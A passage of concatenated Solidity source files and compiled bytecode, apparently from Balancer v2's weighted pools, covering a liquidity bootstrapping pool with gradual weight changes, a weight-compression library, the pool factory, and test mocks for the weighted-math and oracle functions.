poolState.decodeUint31(_START_WEIGHT_OFFSET + i * 31).uncompress31(); uint256 endWeight = poolState.decodeUint16(_END_WEIGHT_OFFSET + i * 16).uncompress16(); uint256 pctProgress = _calculateWeightChangeProgress(poolState); return _interpolateWeight(startWeight, endWeight, pctProgress); } function _getNormalizedWeights() internal view override returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory normalizedWeights = new uint256[](totalTokens); bytes32 poolState = _poolState; // prettier-ignore { normalizedWeights[0] = _getNormalizedWeightByIndex(0, poolState); normalizedWeights[1] = _getNormalizedWeightByIndex(1, poolState); if (totalTokens == 2) return normalizedWeights; normalizedWeights[2] = _getNormalizedWeightByIndex(2, poolState); if (totalTokens == 3) return normalizedWeights; normalizedWeights[3] = _getNormalizedWeightByIndex(3, poolState); } return normalizedWeights; } function _getNormalizedWeightsAndMaxWeightIndex() internal view override returns (uint256[] memory normalizedWeights, uint256 maxWeightTokenIndex) { normalizedWeights = _getNormalizedWeights(); maxWeightTokenIndex = 0; uint256 maxNormalizedWeight = normalizedWeights[0]; for (uint256 i = 1; i < normalizedWeights.length; i++) { if (normalizedWeights[i] > maxNormalizedWeight) { maxWeightTokenIndex = i; maxNormalizedWeight = normalizedWeights[i]; } } } // Pool callback functions // Prevent any account other than the owner from joining the pool function _onInitializePool( bytes32 poolId, address sender, address recipient, uint256[] memory scalingFactors, bytes memory userData ) internal override returns (uint256, uint256[] memory) { // Only the owner can initialize the pool _require(sender == getOwner(), Errors.CALLER_IS_NOT_LBP_OWNER); return super._onInitializePool(poolId, sender, recipient, scalingFactors, userData); } function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, uint256[] memory scalingFactors, bytes memory userData ) internal override returns ( uint256, uint256[] memory, uint256[] memory ) { // Only the owner can add liquidity; block public LPs _require(sender == getOwner(), Errors.CALLER_IS_NOT_LBP_OWNER); return super._onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); } // Swap overrides - revert unless swaps are enabled function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view override returns (uint256) { _require(getSwapEnabled(), Errors.SWAPS_DISABLED); return super._onSwapGivenIn(swapRequest, currentBalanceTokenIn, currentBalanceTokenOut); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view override returns (uint256) { _require(getSwapEnabled(), Errors.SWAPS_DISABLED); return super._onSwapGivenOut(swapRequest, currentBalanceTokenIn, currentBalanceTokenOut); } /** * @dev Extend ownerOnly functions to include the LBP control functions */ function _isOwnerOnlyAction(bytes32 actionId) internal view override returns (bool) { return (actionId == getActionId(LiquidityBootstrappingPool.setSwapEnabled.selector)) || (actionId == getActionId(LiquidityBootstrappingPool.updateWeightsGradually.selector)) || super._isOwnerOnlyAction(actionId); } // Private functions /** * @dev Returns a fixed-point number representing how far along the current weight change is, where 0 means the * change has not yet started, and FixedPoint.ONE means it has fully completed. */ function _calculateWeightChangeProgress(bytes32 poolState) private view returns (uint256) { uint256 currentTime = block.timestamp; uint256 startTime = poolState.decodeUint32(_START_TIME_OFFSET); uint256 endTime = poolState.decodeUint32(_END_TIME_OFFSET); if (currentTime > endTime) { return FixedPoint.ONE; } else if (currentTime < startTime) { return 0; } // No need for SafeMath as it was checked right above: endTime >= currentTime >= startTime uint256 totalSeconds = endTime - startTime; uint256 secondsElapsed = currentTime - startTime; // In the degenerate case of a zero duration change, consider it completed (and avoid division by zero) return totalSeconds == 0 ? FixedPoint.ONE : secondsElapsed.divDown(totalSeconds); } /** * @dev When calling updateWeightsGradually again during an update, reset the start weights to the current weights, * if necessary. */ function _startGradualWeightChange( uint256 startTime, uint256 endTime, uint256[] memory startWeights, uint256[] memory endWeights ) internal virtual { bytes32 newPoolState = _poolState; uint256 normalizedSum = 0; for (uint256 i = 0; i < endWeights.length; i++) { uint256 endWeight = endWeights[i]; _require(endWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT); newPoolState = newPoolState .insertUint31(startWeights[i].compress31(), _START_WEIGHT_OFFSET + i * 31) .insertUint16(endWeight.compress16(), _END_WEIGHT_OFFSET + i * 16); normalizedSum = normalizedSum.add(endWeight); } // Ensure that the normalized weights sum to ONE _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _poolState = newPoolState.insertUint32(startTime, _START_TIME_OFFSET).insertUint32(endTime, _END_TIME_OFFSET); emit GradualWeightUpdateScheduled(startTime, endTime, startWeights, endWeights); } function _interpolateWeight( uint256 startWeight, uint256 endWeight, uint256 pctProgress ) private pure returns (uint256) { if (pctProgress == 0 || startWeight == endWeight) return startWeight; if (pctProgress >= FixedPoint.ONE) return endWeight; if (startWeight > endWeight) { uint256 weightDelta = pctProgress.mulDown(startWeight - endWeight); return startWeight.sub(weightDelta); } else { uint256 weightDelta = pctProgress.mulDown(endWeight - startWeight); return startWeight.add(weightDelta); } } function _setSwapEnabled(bool swapEnabled) private { _poolState = _poolState.insertBool(swapEnabled, _SWAP_ENABLED_OFFSET); emit SwapEnabledSet(swapEnabled); } function _getMaxTokens() internal pure override returns (uint256) { return _MAX_LBP_TOKENS; } function _getTotalTokens() internal view virtual override returns (uint256) { return _totalTokens; } function _scalingFactor(IERC20 token) internal view virtual override returns (uint256) { // prettier-ignore if (token == _token0) { return _scalingFactor0; } else if (token == _token1) { return _scalingFactor1; } else if (token == _token2) { return _scalingFactor2; } else if (token == _token3) { return _scalingFactor3; } else { _revert(Errors.INVALID_TOKEN); } } function _scalingFactors() internal view virtual override returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory scalingFactors = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; } if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; } if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; } if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; } } return scalingFactors; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; /** * @dev Library for compressing and uncompresing numbers by using smaller types. * All values are 18 decimal fixed-point numbers in the [0.0, 1.0] range, * so heavier compression (fewer bits) results in fewer decimals. */ library WeightCompression { uint256 private constant _UINT31_MAX = 2**(31) - 1; using FixedPoint for uint256; /** * @dev Convert a 16-bit value to full FixedPoint */ function uncompress16(uint256 value) internal pure returns (uint256) { return value.mulUp(FixedPoint.ONE).divUp(type(uint16).max); } /** * @dev Compress a FixedPoint value to 16 bits */ function compress16(uint256 value) internal pure returns (uint256) { return value.mulUp(type(uint16).max).divUp(FixedPoint.ONE); } /** * @dev Convert a 31-bit value to full FixedPoint */ function uncompress31(uint256 value) internal pure returns (uint256) { return value.mulUp(FixedPoint.ONE).divUp(_UINT31_MAX); } /** * @dev Compress a FixedPoint value to 31 bits */ function compress31(uint256 value) internal pure returns (uint256) { return value.mulUp(_UINT31_MAX).divUp(FixedPoint.ONE); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/BasePoolSplitCodeFactory.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/FactoryWidePauseWindow.sol"; import "./LiquidityBootstrappingPool.sol"; contract LiquidityBootstrappingPoolFactory is BasePoolSplitCodeFactory, FactoryWidePauseWindow { constructor(IVault vault) BasePoolSplitCodeFactory(vault, type(LiquidityBootstrappingPool).creationCode) { // solhint-disable-previous-line no-empty-blocks } /** * @dev Deploys a new `LiquidityBootstrappingPool`. */ function create( string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory weights, uint256 swapFeePercentage, address owner, bool swapEnabledOnStart ) external returns (address) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); return _create( abi.encode( getVault(), name, symbol, tokens, weights, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner, swapEnabledOnStart ) ); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "../helpers/LogCompression.sol"; contract MockLogCompression { function toLowResLog(uint256 value) external pure returns (int256) { return LogCompression.toLowResLog(value); } function fromLowResLog(int256 value) external pure returns (uint256) { return LogCompression.fromLowResLog(value); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/test/MockLogCompression.sol"; import "../WeightedOracleMath.sol"; contract MockWeightedOracleMath is WeightedOracleMath, MockLogCompression { function calcLogSpotPrice( uint256 normalizedWeightA, uint256 balanceA, uint256 normalizedWeightB, uint256 balanceB ) external pure returns (int256) { return WeightedOracleMath._calcLogSpotPrice(normalizedWeightA, balanceA, normalizedWeightB, balanceB); } function calcLogBPTPrice( uint256 normalizedWeight, uint256 balance, int256 bptTotalSupplyLn ) external pure returns (int256) { return WeightedOracleMath._calcLogBPTPrice(normalizedWeight, balance, bptTotalSupplyLn); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-pool-utils/contracts/test/oracle/MockPoolPriceOracle.sol"; import "./MockWeightedOracleMath.sol"; import "../WeightedPool2Tokens.sol"; contract MockWeightedPool2Tokens is WeightedPool2Tokens, MockPoolPriceOracle, MockWeightedOracleMath { using WeightedPool2TokensMiscData for bytes32; struct MiscData { int256 logInvariant; int256 logTotalSupply; uint256 oracleSampleCreationTimestamp; uint256 oracleIndex; bool oracleEnabled; uint256 swapFeePercentage; } constructor(NewPoolParams memory params) WeightedPool2Tokens(params) {} function mockOracleDisabled() external { _setOracleEnabled(false); } function mockOracleIndex(uint256 index) external { _miscData = _miscData.setOracleIndex(index); } function mockMiscData(MiscData memory miscData) external { _miscData = encode(miscData); } /** * @dev Encodes a misc data object into a bytes32 */ function encode(MiscData memory _data) private pure returns (bytes32 data) { data = data.setSwapFeePercentage(_data.swapFeePercentage); data = data.setOracleEnabled(_data.oracleEnabled); data = data.setOracleIndex(_data.oracleIndex); data = data.setOracleSampleCreationTimestamp(_data.oracleSampleCreationTimestamp); data = data.setLogTotalSupply(_data.logTotalSupply); data = data.setLogInvariant(_data.logInvariant); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "../WeightedMath.sol"; contract MockWeightedMath is WeightedMath { function invariant(uint256[] memory normalizedWeights, uint256[] memory balances) external pure returns (uint256) { return _calculateInvariant(normalizedWeights, balances); } function outGivenIn( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 tokenAmountIn ) external pure returns (uint256) { return _calcOutGivenIn(tokenBalanceIn, tokenWeightIn, tokenBalanceOut, tokenWeightOut, tokenAmountIn); } function inGivenOut( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 tokenAmountOut ) external pure returns (uint256) { return _calcInGivenOut(tokenBalanceIn, tokenWeightIn, tokenBalanceOut, tokenWeightOut, tokenAmountOut); } function exactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsIn, uint256 bptTotalSupply, uint256 swapFee ) external pure returns (uint256) { return _calcBptOutGivenExactTokensIn(balances, normalizedWeights, amountsIn, bptTotalSupply, swapFee); } function tokenInForExactBPTOut( uint256 tokenBalance, uint256 tokenNormalizedWeight, uint256 bptAmountOut, uint256 bptTotalSupply, uint256 swapFee ) external pure returns (uint256) { return _calcTokenInGivenExactBptOut(tokenBalance, tokenNormalizedWeight, bptAmountOut, bptTotalSupply, swapFee); } function exactBPTInForTokenOut( uint256 tokenBalance, uint256 tokenNormalizedWeight, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 swapFee ) external pure returns (uint256) { return _calcTokenOutGivenExactBptIn(tokenBalance, tokenNormalizedWeight, bptAmountIn, bptTotalSupply, swapFee); } function exactBPTInForTokensOut( uint256[] memory currentBalances, uint256 bptAmountIn, uint256 totalBPT ) external pure returns (uint256[] memory) { return _calcTokensOutGivenExactBptIn(currentBalances, bptAmountIn, totalBPT); } function bptInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsOut, uint256 bptTotalSupply, uint256 swapFee ) external pure returns (uint256) { return _calcBptInGivenExactTokensOut(balances, normalizedWeights, amountsOut, bptTotalSupply, swapFee); } function calculateDueTokenProtocolSwapFeeAmount( uint256 balance, uint256 normalizedWeight, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) external pure returns (uint256) { return _calcDueTokenProtocolSwapFeeAmount( balance, normalizedWeight, previousInvariant, currentInvariant, protocolSwapFeePercentage ); } }
0x608060405234801561001057600080fd5b50600436106102925760003560e01c806374f3b009116101605780639d2c110c116100d8578063d505accf1161008c578063dd62ed3e11610071578063dd62ed3e14610508578063e01af92c1461051b578063f89f27ed1461052e57610292565b8063d505accf146104e2578063d5c096c4146104f557610292565b8063a9059cbb116100bd578063a9059cbb146104bf578063aaabadc5146104d2578063c0ff1a15146104da57610292565b80639d2c110c14610499578063a457c2d7146104ac57610292565b806387ec68171161012f5780638d928af8116101145780638d928af81461048157806395d89b41146104895780639b02cdde1461049157610292565b806387ec681714610459578063893d20e81461046c57610292565b806374f3b009146103fb5780637beed2201461041c5780637ecebe0014610433578063851c1bb31461044657610292565b806338e9922e1161020e57806350dd6ed9116101c25780636028bfd4116101a75780636028bfd4146103bf578063679aefce146103e057806370a08231146103e857610292565b806350dd6ed9146103a457806355c67628146103b757610292565b806339509351116101f357806339509351146103765780633e5692051461038957806347bc4d921461039c57610292565b806338e9922e1461035b57806338fff2d01461036e57610292565b80631c0de0511161026557806323b872dd1161024a57806323b872dd1461032b578063313ce5671461033e5780633644e5151461035357610292565b80631c0de051146102ff5780631dd746ea1461031657610292565b806306fdde0314610297578063095ea7b3146102b557806316c38b3c146102d557806318160ddd146102ea575b600080fd5b61029f610536565b6040516102ac9190614ddb565b60405180910390f35b6102c86102c3366004614672565b6105eb565b6040516102ac9190614ce2565b6102e86102e3366004614769565b610602565b005b6102f2610616565b6040516102ac9190614d05565b61030761061c565b6040516102ac93929190614ced565b61031e610645565b6040516102ac9190614caa565b6102c86103393660046145bd565b610654565b6103466106e8565b6040516102ac9190614e57565b6102f26106f1565b6102e8610369366004614af5565b6106fb565b6102f2610714565b6102c8610384366004614672565b610738565b6102e8610397366004614b0d565b610773565b6102c86107da565b6102e86103b23660046148a0565b6107ea565b6102f2610808565b6103d26103cd3660046147a1565b610819565b6040516102ac929190614dee565b6102f2610850565b6102f26103f6366004614569565b61087b565b61040e6104093660046147a1565b61089a565b6040516102ac929190614cbd565b61042461093d565b6040516102ac93929190614e07565b6102f2610441366004614569565b6109fc565b6102f2610454366004614844565b610a17565b6103d26104673660046147a1565b610a69565b610474610a8f565b6040516102ac9190614c96565b610474610ab3565b61029f610ad7565b6102f2610b56565b6102f26104a73660046149f9565b610b5c565b6102c86104ba366004614672565b610c43565b6102c86104cd366004614672565b610c81565b610474610c8e565b6102f2610c98565b6102e86104f03660046145fd565b610d5d565b61040e6105033660046147a1565b610ea6565b6102f2610516366004614585565b610fcb565b6102e8610529366004614769565b610ff6565b61031e61101f565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b820191906000526020600020905b8154815290600101906020018083116105c357829003601f168201915b505050505090505b90565b60006105f83384846111cc565b5060015b92915050565b61060a611234565b6106138161127a565b50565b60025490565b6000806000610629611316565b159250610634611333565b915061063e611357565b9050909192565b606061064f61137b565b905090565b6000806106618533610fcb565b9050610685336001600160a01b038716148061067d5750838210155b61019e6114ec565b6106908585856114fa565b336001600160a01b038616148015906106c957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114155b156106db576106db85338584036111cc565b60019150505b9392505050565b60055460ff1690565b600061064f6115da565b610703611234565b61070b611677565b6106138161168c565b7ff2b7794b89ea4fd2abfe66dcb6529a27c03d429e0002000000000000000000b090565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105f891859061076e90866110ca565b6111cc565b61077b611234565b610783611677565b61078b6116f7565b61079d610796611710565b8251611033565b426107a88185611734565b93506107b9838511156101466114ec565b6107cc84846107c661174b565b8561185f565b506107d5611974565b505050565b600b5460009061064f908261197b565b6107f2611234565b6107fa611677565b6108048282611985565b5050565b60085460009061064f9060c0611a9d565b6000606061082f865161082a611710565b611033565b61084489898989898989611aab611b7b611bdc565b97509795505050505050565b600061064f61085d610616565b610875610868610c98565b610870611710565b611d6c565b90611d86565b6001600160a01b0381166000908152602081905260409020545b919050565b606080886108c46108a9610ab3565b6001600160a01b0316336001600160a01b03161460cd6114ec565b6108d96108cf610714565b82146101f46114ec565b60606108e361137b565b90506108ef8882611dce565b60006060806109048e8e8e8e8e8e8a8f611aab565b9250925092506109148d84611e2f565b61091e8285611b7b565b6109288185611b7b565b909550935050505b5097509795505050505050565b600b5460009081906060906109538160c0611e39565b93506109608160e0611e39565b9250600061096c611710565b90508067ffffffffffffffff8111801561098557600080fd5b506040519080825280602002602001820160405280156109af578160200160208202803683370190505b50925060005b818110156109f4576109d56109d08460806010850201611e43565b611e4b565b8482815181106109e157fe5b60209081029190910101526001016109b5565b505050909192565b6001600160a01b031660009081526006602052604090205490565b60007f000000000000000000000000751a0bc0e3f75b38e01cf25bfce7ff36de1c87de82604051602001610a4c929190614c20565b604051602081830303815290604052805190602001209050919050565b60006060610a7a865161082a611710565b61084489898989898989611e65611eb5611bdc565b7f000000000000000000000000d950ded4abc40412c896439bd6c2f38b17ee78f390565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105e05780601f106105b5576101008083540402835291602001916105e0565b60095490565b600080610b6c8560200151611f16565b90506000610b7d8660400151611f16565b9050600086516001811115610b8e57fe5b1415610bf457610ba186606001516120a7565b6060870152610bb085836120c8565b9450610bbc84826120c8565b9350610bcc8660600151836120c8565b60608701526000610bde8787876120d4565b9050610bea81836120fc565b93505050506106e1565b610bfe85836120c8565b9450610c0a84826120c8565b9350610c1a8660600151826120c8565b60608701526000610c2c878787612108565b9050610c388184612120565b9050610bea8161212c565b600080610c503385610fcb565b9050808310610c6a57610c65338560006111cc565b610c77565b610c7733858584036111cc565b5060019392505050565b60006105f83384846114fa565b600061064f612152565b60006060610ca4610ab3565b6001600160a01b031663f94d4668610cba610714565b6040518263ffffffff1660e01b8152600401610cd69190614d05565b60006040518083038186803b158015610cee57600080fd5b505afa158015610d02573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d2a919081019061469d565b50915050610d3f81610d3a61137b565b611dce565b6060610d496121cc565b509050610d56818361224a565b9250505090565b610d6b8442111560d16114ec565b6001600160a01b0387166000908152600660209081526040808320549051909291610dc2917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9188918d9101614d2d565b6040516020818303038152906040528051906020012090506000610de5826122bc565b9050600060018288888860405160008152602001604052604051610e0c9493929190614dbd565b6020604051602081039080840390855afa158015610e2e573d6000803e3d6000fd5b5050604051601f1901519150610e7090506001600160a01b03821615801590610e6857508b6001600160a01b0316826001600160a01b0316145b6101f86114ec565b6001600160a01b038b166000908152600660205260409020600185019055610e998b8b8b6111cc565b5050505050505050505050565b60608088610eb56108a9610ab3565b610ec06108cf610714565b6060610eca61137b565b9050610ed4610616565b610f7b5760006060610ee98d8d8d868b6122d8565b91509150610efe620f424083101560cc6114ec565b610f0c6000620f424061231e565b610f1b8b620f4240840361231e565b610f258184611eb5565b80610f2e611710565b67ffffffffffffffff81118015610f4457600080fd5b50604051908082528060200260200182016040528015610f6e578160200160208202803683370190505b5095509550505050610930565b610f858882611dce565b6000606080610f9a8e8e8e8e8e8e8a8f611e65565b925092509250610faa8c8461231e565b610fb48285611eb5565b610fbe8185611b7b565b9095509350610930915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610ffe611234565b611006611677565b61100e6116f7565b61101781612328565b610613611974565b606061064f61174b565b806108048161236a565b61080481831460676114ec565b67ffffffffffffffff811b1992909216911b1790565b60006110668383111560016114ec565b50900390565b60006105fc670de0b6b3a76400006110868461ffff611115565b90611181565b60006105fc670de0b6b3a764000061108684637fffffff611115565b637fffffff811b1992909216911b1790565b61ffff811b1992909216911b1790565b60008282016106e184821015836114ec565b63ffffffff811b1992909216911b1790565b60006001821b1984168284611104576000611107565b60015b60ff16901b17949350505050565b600082820261113984158061113257508385838161112f57fe5b04145b60036114ec565b806111485760009150506105fc565b670de0b6b3a76400007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b046001019150506105fc565b600061119082151560046114ec565b8261119d575060006105fc565b670de0b6b3a7640000838102906111c0908583816111b757fe5b041460056114ec565b82600182038161117557fe5b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611227908590614d05565b60405180910390a3505050565b60006112636000357fffffffff0000000000000000000000000000000000000000000000000000000016610a17565b905061061361127282336123e3565b6101916114ec565b801561129a5761129561128b611333565b42106101936114ec565b6112af565b6112af6112a5611357565b42106101a96114ec565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168215151790556040517f9e3a5e37224532dea67b89face185703738a228a6e8a23dee546960180d3be649061130b908390614ce2565b60405180910390a150565b6000611320611357565b42118061064f57505060075460ff161590565b7f000000000000000000000000000000000000000000000000000000006178a5eb90565b7f000000000000000000000000000000000000000000000000000000006178a5eb90565b60606000611387611710565b905060608167ffffffffffffffff811180156113a257600080fd5b506040519080825280602002602001820160405280156113cc578160200160208202803683370190505b5090508115611414577f0000000000000000000000000000000000000000000000000de0b6b3a76400008160008151811061140357fe5b60200260200101818152505061141d565b91506105e89050565b6001821115611414577f0000000000000000000000000000000000000000000000000de0b6b3a76400008160018151811061145457fe5b6020026020010181815250506002821115611414577f00000000000000000000000000000000000000000000000000000000000000008160028151811061149757fe5b6020026020010181815250506003821115611414577f0000000000000000000000000000000000000000000000000000000000000000816003815181106114da57fe5b60200260200101818152505091505090565b8161080457610804816124d3565b6115116001600160a01b03841615156101986114ec565b6115286001600160a01b03831615156101996114ec565b6115338383836107d5565b6001600160a01b03831660009081526020819052604090205461155990826101a0612540565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461158890826110ca565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611227908590614d05565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f34eb7923c6df71f3a3ec0fe874f0f838b0caba80310407ed38ed54b1542503707fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6611647612556565b3060405160200161165c959493929190614d61565b60405160208183030381529060405280519060200120905090565b61168a611682611316565b6101926114ec565b565b61169f64e8d4a5100082101560cb6114ec565b6116b567016345785d8a000082111560ca6114ec565b6008546116c4908260c0611040565b6008556040517fa9ba3ffe0b6c366b81232caab38605a0699ad5398d6cce76f91ee809e322dafc9061130b908390614d05565b6117096002600a5414156101906114ec565b6002600a55565b7f000000000000000000000000000000000000000000000000000000000000000290565b60008183101561174457816106e1565b5090919050565b60606000611757611710565b905060608167ffffffffffffffff8111801561177257600080fd5b5060405190808252806020026020018201604052801561179c578160200160208202803683370190505b50600b549091506117ae60008261255a565b826000815181106117bb57fe5b6020026020010181815250506117d260018261255a565b826001815181106117df57fe5b60200260200101818152505082600214156117fe575091506105e89050565b61180960028261255a565b8260028151811061181657fe5b6020026020010181815250508260031415611835575091506105e89050565b61184060038261255a565b8260038151811061184d57fe5b60209081029190910101525091505090565b600b546000805b83518110156118fb57600084828151811061187d57fe5b6020026020010151905061189d662386f26fc1000082101561012e6114ec565b6118e46118a98261106c565b836010026080016118dd6118cf8a87815181106118c257fe5b602002602001015161108c565b88906004601f8902016110a8565b91906110ba565b93506118f083826110ca565b925050600101611866565b50611912670de0b6b3a764000082146101346114ec565b61192b8560e0611924858a60c06110dc565b91906110dc565b600b556040517f0f3631f9dab08169d1db21c6dc5f32536fb2b0a6b9bb5330d71c52132f968be090611964908890889088908890614e26565b60405180910390a1505050505050565b6001600a55565b1c60019081161490565b600061198f610714565b9050600061199b610ab3565b6001600160a01b031663b05f8e4883866040518363ffffffff1660e01b81526004016119c8929190614da6565b60806040518083038186803b1580156119e057600080fd5b505afa1580156119f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a189190614b5b565b6040517f18e736d40000000000000000000000000000000000000000000000000000000081529094506001600160a01b03851693506318e736d49250611a65915085908790600401614d8d565b600060405180830381600087803b158015611a7f57600080fd5b505af1158015611a93573d6000803e3d6000fd5b5050505050505050565b1c67ffffffffffffffff1690565b600060608060606000611abc6121cc565b91509150611ac8611316565b15611b00576000611ad9838c61224a565b9050611aeb8b8484600954858e6125b0565b9350611afa8b8561105661265f565b50611b4c565b611b08611710565b67ffffffffffffffff81118015611b1e57600080fd5b50604051908082528060200260200182016040528015611b48578160200160208202803683370190505b5092505b611b588a8389896126ca565b9095509350611b688a8584612739565b6009555050985098509895505050505050565b60005b611b86611710565b8110156107d557611bbd838281518110611b9c57fe5b6020026020010151838381518110611bb057fe5b6020026020010151611d86565b838281518110611bc957fe5b6020908102919091010152600101611b7e565b333014611ccb576000306001600160a01b0316600036604051611c00929190614c50565b6000604051808303816000865af19150503d8060008114611c3d576040519150601f19603f3d011682016040523d82523d6000602084013e611c42565b606091505b505090508060008114611c5157fe5b60046000803e6000517fffffffff00000000000000000000000000000000000000000000000000000000167f43adbafb000000000000000000000000000000000000000000000000000000008114611cad573d6000803e3d6000fd5b506020600460003e604060205260243d03602460403e601c3d016000f35b6060611cd561137b565b9050611ce18782611dce565b60006060611cf98c8c8c8c8c8c898d8d63ffffffff16565b5091509150611d0c81848663ffffffff16565b8051601f1982018390526343adbafb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08301526020027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdc82016044820181fd5b60008282026106e184158061113257508385838161112f57fe5b6000611d9582151560046114ec565b82611da2575060006105fc565b670de0b6b3a764000083810290611dbc908583816111b757fe5b828181611dc557fe5b049150506105fc565b60005b611dd9611710565b8110156107d557611e10838281518110611def57fe5b6020026020010151838381518110611e0357fe5b6020026020010151612752565b838281518110611e1c57fe5b6020908102919091010152600101611dd1565b610804828261277e565b1c63ffffffff1690565b1c61ffff1690565b60006105fc61ffff61108684670de0b6b3a7640000611115565b6000606080611e91611e75610a8f565b6001600160a01b03168b6001600160a01b0316146101486114ec565b611ea18b8b8b8b8b8b8b8b61283a565b925092509250985098509895505050505050565b60005b611ec0611710565b8110156107d557611ef78382815181106